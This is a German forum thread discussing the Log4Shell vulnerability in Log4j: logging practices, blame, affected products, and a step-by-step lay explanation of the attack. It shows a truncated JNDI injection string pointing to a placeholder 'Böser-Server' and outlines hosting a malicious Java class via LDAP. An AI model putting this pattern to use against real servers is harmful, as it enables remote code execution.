BSI warnt vor Kritischer Schwachstelle in weit verbreitetem Software-Produkt Log4j

Also so ganz sicher darf sich der Enduser nicht fühlen.
Nutzen betroffene Dienste log4j besteht durchaus die Möglichkeit das die User Daten abgegriffen werden können,
was daraus später resultieren könnte steht dann in einem Folgekapitel.
Von daher sollte man schon versuchen sich aktuell etwas sensibler im Netz zu bewegen, bis eine Vielzahl der Dienste gepatcht wurde.
Gutes Beispiel wie Nutzerdaten und ganze Sessions gekapert werden können findet man zB an Hand von Minecraft-Servern, damit dürfte dann auch das gesamte Microsoft Kto als kompromittiert betrachtet werden.
 
Also so ganz sicher darf sich der Enduser nicht fühlen.
Nutzen betroffene Dienste log4j besteht durchaus die Möglichkeit das die User Daten abgegriffen werden können,
was daraus später resultieren könnte steht dann in einem Folgekapitel.
Von daher sollte man schon versuchen sich aktuell etwas sensibler im Netz zu bewegen, bis eine Vielzahl der Dienste gepatcht wurde.
Gutes Beispiel wie Nutzerdaten und ganze Sessions gekapert werden können findet man zB an Hand von Minecraft-Servern, damit dürfte dann auch das gesamte Microsoft Kto als kompromittiert betrachtet werden.
aber alles nichts wogegen mehrere Loginfaktoren helfen.
 
Nun ja, man sollte halt nicht hergehen und User-Eingaben blind protokollieren oder auf dem Bildschirm auszugeben. Die Software ist so gut, wie der schlechteste Programmierer im Projekt ...
Das sagt sich so leicht daher, ist aber nicht passend.

Zum einen gibt es immer wieder Fälle, wo man Benutzereingaben loggen muss, um den Fehler oder ein Problem überhaupt finden zu können. Es nutzt einer Firma wie Apple nichts, wenn im Logfile der Eintrag "Programmabsturz wegen fehlerhafter Benutzereingaben" steht. Da muss auch geloggt werden, bei welchen Benutzer das auftrat und welche Daten das Programm zum Absturz gebracht haben. Ansonsten könnten Programmfehler nicht behoben werden. Auch aus Sicherheitsaspekten ist Logging normalerweise sinnvoll, z. B. um Angriffe überhaupt zu bemerken. Oder Zahlungsdienstleister tun gut daran, alle Daten inklusive der Eingaben vom Kunden zu loggen, um Betrugsversuche nachvollziehen zu können.

Zum anderen ist Logging eigentlich harmlos. Da werden Texte in eine Textdatei geschrieben, und das war's. Da werden keine Benutzereingaben zur Ausführung gebracht oder auch nur fremden Benutzern angezeigt. Die Dateien sind nur zur Kontrolle durch Administratoren, die wissen, was sie da vor sich haben. Der schlimmste Fall des Missbrauchs wäre normalerweise, dass ein bösärtiger Benutzer so viele Eingaben produziert, dass die Logdatei riesig wird und die Platte voll ist, eine DOS-Attacke also. Das Risiko ist gerade für kleinere Seitenbetreiber hinnehmbar. Aber niemand rechnet damit, das durch simples Logging auf fremde Systeme zugegriffen wird und Code ausgeführt werden kann. Den meisten Programmierern war die Möglichkeit nicht bekannt, da sie sie Funktion nie gebraucht haben.

Das log4j-Team hat als Patch auch nicht die Funktion entfernt, sondern sie ist nicht mehr als Default eingeschaltet. Es war unverantwortlich, dass eine solche Funktion per Default nutzbar war, ohne dass dies klar kommuniziert wurde.
Und die meisten Java-Sachen die ich kenne, ist eh hinter einer Firewall. Falls die da richtig konfiguriert ist, und man eben nicht bild Eingaben des Users loggt, sehe ich das auch nicht als so das krasse Problem (bei kritischer Infrastruktur).
Es geht vornehmlich um Programme auf Webservern (oder nachgelagerten Servern), die im Web eingegebene Daten verarbeiten. Da ist sehr viel Javacode dabei. Und die Programme sind gerade nicht komplett hinter einer Firewall, da sie sonst ihre Aufgaben nicht erfüllen könnten. Zum Logging von Usereingaben siehe oben.

Also so ganz sicher darf sich der Enduser nicht fühlen.
[...]
Gutes Beispiel wie Nutzerdaten und ganze Sessions gekapert werden können findet man zB an Hand von Minecraft-Servern, damit dürfte dann auch das gesamte Microsoft Kto als kompromittiert betrachtet werden.
Gutes Beispiel.

Minecraft nutzt log4j, wobei ich nicht weiß, was die protokollieren. Möglicherweise reicht es schon aus, auf einem öffentlichen Server zu spielen, und irgendein Benutzer mit dem Namen " ${jndi:ldap://..." schickt eine Nachricht "Hallo" oder fragt an, mitspielen zu dürfen. Ablehnen bringt nichts, weil es dann schon zu spät ist. (Spekulativ; da wie gesagt ich nicht weiß, was ein Minecraft-Programm tatsächlich loggt.)
 
Lokale Programme scheint es nicht zu betreffen - ich nutze die Jetbrains-IDE-Suite (Java) - aber dort sind nur die serverbasiertes Tools und die (Online)-Kontoverwaltung betroffen.
 
Lokale Programme können durchaus betroffen sein!

Hier eine (unvollständige) Liste von Firmen, die offiziell Stellung bezogen haben...
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Im grunde sind auch alle AV-Hersteller dabei...

Der Fokus liegt aber in der Tat eher auf Unterstützender und netzwerkbasierter Software...
Dienstlich habe ich auch gleich drei Softwareprodukte aus der Liste am Start und wir nutzen noch vieles anderes mit Java...
 
Zuletzt bearbeitet:
Das sagt sich so leicht daher, ist aber nicht passend.

Zum einen gibt es immer wieder Fälle, wo man Benutzereingaben loggen muss, um den Fehler oder ein Problem überhaupt finden zu können. Es nutzt einer Firma wie Apple nichts, wenn im Logfile der Eintrag "Programmabsturz wegen fehlerhafter Benutzereingaben" steht. Da muss auch geloggt werden, bei welchen Benutzer das auftrat und welche Daten das Programm zum Absturz gebracht haben. Ansonsten könnten Programmfehler nicht behoben werden. Auch aus Sicherheitsaspekten ist Logging normalerweise sinnvoll, z. B. um Angriffe überhaupt zu bemerken. Oder Zahlungsdienstleister tun gut daran, alle Daten inklusive der Eingaben vom Kunden zu loggen, um Betrugsversuche nachvollziehen zu können.

Zum anderen ist Logging eigentlich harmlos. Da werden Texte in eine Textdatei geschrieben, und das war's. Da werden keine Benutzereingaben zur Ausführung gebracht oder auch nur fremden Benutzern angezeigt. Die Dateien sind nur zur Kontrolle durch Administratoren, die wissen, was sie da vor sich haben. Der schlimmste Fall des Missbrauchs wäre normalerweise, dass ein bösärtiger Benutzer so viele Eingaben produziert, dass die Logdatei riesig wird und die Platte voll ist, eine DOS-Attacke also. Das Risiko ist gerade für kleinere Seitenbetreiber hinnehmbar. Aber niemand rechnet damit, das durch simples Logging auf fremde Systeme zugegriffen wird und Code ausgeführt werden kann. Den meisten Programmierern war die Möglichkeit nicht bekannt, da sie sie Funktion nie gebraucht haben.

Das log4j-Team hat als Patch auch nicht die Funktion entfernt, sondern sie ist nicht mehr als Default eingeschaltet. Es war unverantwortlich, dass eine solche Funktion per Default nutzbar war, ohne dass dies klar kommuniziert wurde.

Es geht vornehmlich um Programme auf Webservern (oder nachgelagerten Servern), die im Web eingegebene Daten verarbeiten. Da ist sehr viel Javacode dabei. Und die Programme sind gerade nicht komplett hinter einer Firewall, da sie sonst ihre Aufgaben nicht erfüllen könnten. Zum Logging von Usereingaben siehe oben.


Gutes Beispiel.

Minecraft nutzt log4j, wobei ich nicht weiß, was die protokollieren. Möglicherweise reicht es schon aus, auf einem öffentlichen Server zu spielen, und irgendein Benutzer mit dem Namen " ${jndi:ldap://..." schickt eine Nachricht "Hallo" oder fragt an, mitspielen zu dürfen. Ablehnen bringt nichts, weil es dann schon zu spät ist. (Spekulativ; da wie gesagt ich nicht weiß, was ein Minecraft-Programm tatsächlich loggt.)
Du erklärst gewiss gut und klar und deutlich. Man merkt, dass Du Ahnung hast. Vielen Dank.
Könntest Du trotzdem gnädigerweise den ”Angriff” anhand eines Beispiels (für Dumme) beschreiben?
Akteure:
1. Der/die Böse (Software)
2. Das Opfer (der Server)
Aktionen:
3. Was genau unternimmt der/die Böse Software? Was kann der Böse z.B. in die Logdatei schreiben?
4. Wie kann der von der Bösen Software übermittelte und anscheinend vom Opfer geloggte Text zum auszuführenden Code werden? Welche Eingabe/Parameter an welcher Stelle sind erforderlich? (ich kann kein Java …) Wann wird dieser ”Code” ausgeführt?

Falls Dir meine Bitte unverschämt oder unnötig erscheint, sorry vielmals.
 
Ganz Grob (wie ich es verstanden habe!)

Der Böse kann Logdatei einträge Provozieren und wenn er einen Doppelunkt hinten anhängt kann er die bibliothek log4J anweisen diese logs zu Durchsuchen oder zu Sortieren/Ordnen. Alles bis hierhin harmlos...
Wenn der angehängte Befehl zum Suchen/Sortieren vom Server aber nicht erkannt wird sucht der Server selbstständig nach einer Möglichkeit diesen Code doch auszuführen. Dazu hat er alle Klassen von Java zur verfügung. Damit kann der Angreifer schon mal Standardroutinen (in Java?) auf dem Gerät ausführen.

Als Bonbon kann der Angreifer wenn er es geschickt anstellt eine suche so gestalten das der Server es gar nicht versteht.
Der Schaut ersmal intern was er machen soll und dann sogar extern!!!.
Der Angreifer kann sogar den Ort, an dem der Server extern nach Anweisungen suchen soll mitgeben.
Er kann z.b. einen verweis auf eine eigene (auf dem server des bösen liegende) Programmierbibliothek mitgeben.

Schwups kommuniziert der Server mit dem Rechner des Angreifers und fragt was er als nächstes tun soll...
Zack -> System Komplett übernommen.



Wie gesagt, alles sehr Laienhaft... Ich übernehme keine gewähr für die Richtigkeit...
 
Zuletzt bearbeitet:
Darum geht es bei dem Problem gar nicht.
Diese Lücke eröffnet die Möglichkeit zur entfernt code auszuführen.
Natürlich geht es auch darum.

Wenn ein Angreifer ein System kompromittiert und die Logins abfischt ... was bringt ihm das, wenn Du z.B. 2FA über z.B. Google Authenticator für den betroffenen Dienst noch am Start hast?
 
Natürlich geht es auch darum.

Wenn ein Angreifer ein System kompromittiert und die Logins abfischt ... was bringt ihm das, wenn Du z.B. 2FA über z.B. Google Authenticator für den betroffenen Dienst noch am Start hast?
Der Angreifer ist schon auf dem System. Der zweite Faktor interessiert den doch gar nicht. Der muss auch keine logins abfischen.
Es geht nicht darum, dass per log4j logindaten gelesen werden können, sondern das codeausgeführt wird. Deswegen wird das Problem auch Log4shell genannt.
 
Könntest Du trotzdem gnädigerweise den ”Angriff” anhand eines Beispiels (für Dumme) beschreiben?
Akteure:
1. Der/die Böse (Software)
2. Das Opfer (der Server)
Aktionen:
3. Was genau unternimmt der/die Böse Software? Was kann der Böse z.B. in die Logdatei schreiben?
4. Wie kann der von der Bösen Software übermittelte und anscheinend vom Opfer geloggte Text zum auszuführenden Code werden? Welche Eingabe/Parameter an welcher Stelle sind erforderlich? (ich kann kein Java …) Wann wird dieser ”Code” ausgeführt?
Den ersten Schritt hat Wegus schon erwähnt:

Der Böse muss
um die Lücke zu mißbrauchen muß man wenigstens selbst einen LDAP Server im Netz betreiben. Dafür ist schon ein bisschen knowhow nötig.
den LDAP-Server aufsetzen, diesen so konfigurieren, dass er auch Java-Klassen ausliefern kann. Er muss eine Java-Klass mit seinem Schadcode zur Verfügung stellen.

Das erfordert zwar schon ein gewisses Know-How, ist aber auch kein Hexenwerk. Es ist gut dokumentiert, wie das geht, und es ist ganz legal möglich. Die Funktion im LDAP-Server ist ja keine Sicherheitslücke, sondern so beabsichtigt für sinnvolle Anwendungen.

Ein Java-Programm (eine Klasse ist ein Teil eines Programmes) ist ein Programm wie in jeder anderen Programmiersprache auch, nur dass sie in einer Java-VM läuft, die aber beim Opfer aktiv ist. Das Java-Programm darf alles machen, und dies schließt den Start anderer Programme mit ein (womit z. B. auch weiterer Schadcode nachgeladen werden könnte). Und da auf dem Kundensystem die Programme mit log4j oft als Dienst und damit mit Administratorrechten gestartet werden, hat die so eingeführte Java-Klasse auch gleich Administratorrechte.

Schritt zwei ist, dass der Angreifer das System des Opfers dazu bringen muss, seinen Text der Form ${jndi:ldap://Böser-Server....} zu loggen. Wie das geht, hängt vom System des Opfers ab. Da muss der Angreifer etwas probieren, bis ein von ihm eingegebener Text im Logfile landet.
Bei Minecraft hat es gereicht, den Text in einen beliebigen Chat zu schreiben.
Bei Apple musste man seinem iPhone den Namen "${jndi:ldap://Böser-Server....}" geben, damit der Text im Logfile landete.
Das hat gereicht.

Das Opfer braucht gar nichts zu tun.
Keinen Link anklicken, keinen Anhang öffnen, nein alles nicht nötig.
 
Der Angreifer ist schon auf dem System. Der zweite Faktor interessiert den doch gar nicht. Der muss auch keine logins abfischen.
Es geht nicht darum, dass per log4j logindaten gelesen werden können, sondern das codeausgeführt wird. Deswegen wird das Problem auch Log4shell
Ja, klar. Aber mit welchem Ziel …möglicherweise … Daten?
 
[...]
Ein Java-Programm (eine Klasse ist ein Teil eines Programmes) ist ein Programm wie in jeder anderen Programmiersprache auch, nur dass sie in einer Java-VM läuft, die aber beim Opfer aktiv ist. Das Java-Programm darf alles machen, und dies schließt den Start anderer Programme mit ein (womit z. B. auch weiterer Schadcode nachgeladen werden könnte). Und da auf dem Kundensystem die Programme mit log4j oft als Dienst und damit mit Administratorrechten gestartet werden, hat die so eingeführte Java-Klasse auch gleich Administratorrechte.
Erstmal vielen Dank an @Johanna K, @wegus und @tocotronaut für die Erklärungen.
Vorab: ich finde es auch fahrlässig, eine Funktion wie den JNDI Lookup in der Standardeinstellung mit "An" auszuliefern. Aber als Entwickler muss man die Doku lesen und darf natürlich im eigenen Projekt auch bessere Einstellungen liefern. Der Patch macht jetzt auch nichts anderes, als die Vorbelegung des Schalters zu tauschen...
Aber: Die beiden im Zitat von mir fett markierten Punkte liegen in der Verantwortung derjenigen, die die Software betreiben. Selbstverständlich kann man als Admin bei Javaanwendungen über "Policies" sehr genau einschränken, was das Programm alles darf. Und selbstverständlich wird niemand gezwungen, Dienste mit Administratorrechten zu betreiben. Das macht natürlich alles Arbeit und kostet damit Geld - oft mehr, als die Entwicklung eines kleinen Dienstes, der nur mal eben schnell.... und es muss dauernd überprüft werden, das kostet dann nochmal. Darum wollen ja alle Firmen SaaS Lösungen, um den Aufwand aus der eigenen Verantwortung zu definieren. Wenn jetzt SaaS/Cloud-Betreiber kalt erwischt wurden, bedeutet das nur, dass dort fahrlässig oder optimistisch am falschen Ende gespart wurde, die sind also auch nicht besser als "wir im Mittelstand".
Und: ja, ich wurde auch erwischt -> Asche auf mein Haupt.... und wieder mehr Zeit in das Lesen von Release Notes investieren... Jetzt auf die Programmierer von log4j zu schimpfen, ist unfair.
 
... Jetzt auf die Programmierer von log4j zu schimpfen, ist unfair.
Was heißt hier schimpfen … Programmierer (Maskulin beabsichtigt!) sind häufig eine besondere Spezies von selbstverliebten Bastlern.
Typische Dialoge aus meiner beruflichen Praxis:

Barry: Ich will das nicht.
SVP (selbstverliebter Programmierer): Aber Mr. Barry! Damit kann der Anwender viel komfortabler …
Barry (unterbricht): Ich will das nicht.
SVP: Und wenn die Anwender falsche Dat…
Barry (noch ruhig): ich will das nicht.
SVP: Aber die Fachbereiche wollen es!
Barry (immerhin Vorgesetzter oder Auftraggeber des SVP und selber ehemaliger Programmierer): ICH WILL DAS NICHT!

Oft genug machen sie es trotzdem, heimlich, und hinterlassen hysterisch verwachsenen Dschungelcode.
Was treibt diese Spezies dazu, (häufig) unnötige Funktionen (auch noch an den falschen Stellen) einzubauen? Ist das Eitelkeit? Unvermögen? Selbstbefriedigung? Oder alles zusammengenommen?

Zurück zum Topic: Der von wegus verlinkte Artikel enthält eine Grafik, die hervorragend veranschaulicht.
Danke natürlich wieder an @Johanna K, @tocotronaut und @wegus.
 
Was heißt hier schimpfen … Programmierer (Maskulin beabsichtigt!) sind häufig eine besondere Spezies von selbstverliebten Bastlern.
Typische Dialoge aus meiner beruflichen Praxis:

Barry: Ich will das nicht.
SVP (selbstverliebter Programmierer): Aber Mr. Barry! Damit kann der Anwender viel komfortabler …
Barry (unterbricht): Ich will das nicht.
SVP: Und wenn die Anwender falsche Dat…
Barry (noch ruhig): ich will das nicht.
SVP: Aber die Fachbereiche wollen es!
Barry (immerhin Vorgesetzter oder Auftraggeber des SVP und selber ehemaliger Programmierer): ICH WILL DAS NICHT!

Oft genug machen sie es trotzdem, heimlich, und hinterlassen hysterisch verwachsenen Dschungelcode.
Was treibt diese Spezies dazu, (häufig) unnötige Funktionen (auch noch an den falschen Stellen) einzubauen? Ist das Eitelkeit? Unvermögen? Selbstbefriedigung? Oder alles zusammengenommen?

Das tolle an open source: jeder kann den source code anschauen und gucken was dein steht.
Du kannst selbst was dazu beisteuern.
Oder einen Fork machen.

Und wenn dir alles nicht passt: deine eigene Bibliothek schreiben.

Die Leute die das programmieren machen das größtenteils in ihrer Freizeit.
 
Barry (immerhin Vorgesetzter oder Auftraggeber des SVP und selber ehemaliger Programmierer): ICH WILL DAS NICHT!
In den Augen des Programmierers bist Du SVV oder SVA und eSVP :D

Spaß beiseite, Ernst auf den Tisch!
Oft genug machen sie es trotzdem, heimlich, und hinterlassen hysterisch verwachsenen Dschungelcode.
Was treibt diese Spezies dazu, (häufig) unnötige Funktionen (auch noch an den falschen Stellen) einzubauen? Ist das Eitelkeit? Unvermögen? Selbstbefriedigung? Oder alles zusammengenommen?
Bei uns wird nichts ohne Definition eingebaut. Wenn die Stelle der Implementierung nicht definiert ist, muss der Programmierer für Klärung sorgen. Programmiert er etwas, was nicht gefordert war, macht er das nicht oft! Ich weiß, das erfordert Durchsetzungsvermögen aber spätestens beim Vergleich des Codes mit dem Arbeitspaket ist die Diskussion vorbei.

Wenn Die Fachabteilung etwas will, muss sie eine Anforderung formulieren und dann gibt es dazu auch eine Dokumentation, die bei Ablehnung eine Begründung enthält.

Das ist aber natürlich nur in Organisationen möglich, die eine gewisse Struktur haben. Kleine Betriebe oder Freiberufler werden auch gerne vom Auftraggeber genötigt, etwas zu machen, das sie selbst nicht machen wollen. Nach dem Motto: Wer zahlt, schafft an. Das kann schnell in rechtlichen Streitigkeiten enden. Oder man hält die Klappe. Mit etwas Glück bekommt man noch eine Unterschrift, dass vor dem Risiko gewarnt wurde.

Was Log4j betrifft, ist das so weit verbreitet, dass jeder betroffen sein kann. Nur muss man sich als Anwender auf die Entwickler verlassen, dass sie keinen Murks gemacht haben bzw. jetzt umgehend tätig werden. Aber auch auch sofortiges tätig werden könnte zur Folge haben, dass dem Marketing und Vertrieb vorübergehend Zahlen fehlen und die jammern sofort bei der Geschäftsführung. Dann kann man nur hoffen, dass die IT bei der Geschäftsführung ein entsprechendes Standing hat.
 
Eine Möglichkeit, wie man als (mac)user direkt im eigenen Heimnetzwerk betroffen sein kann, ist die Managementkonsole von Ubiquiti, mit denen die Unifi-Geräte verwaltet werden. Aber die haben bereits ein Update veröffentlicht. Wenn man da also mit aktuellen Patches unterwegs ist, kann man den panic mode wieder verlassen.
 
Zurück
Oben Unten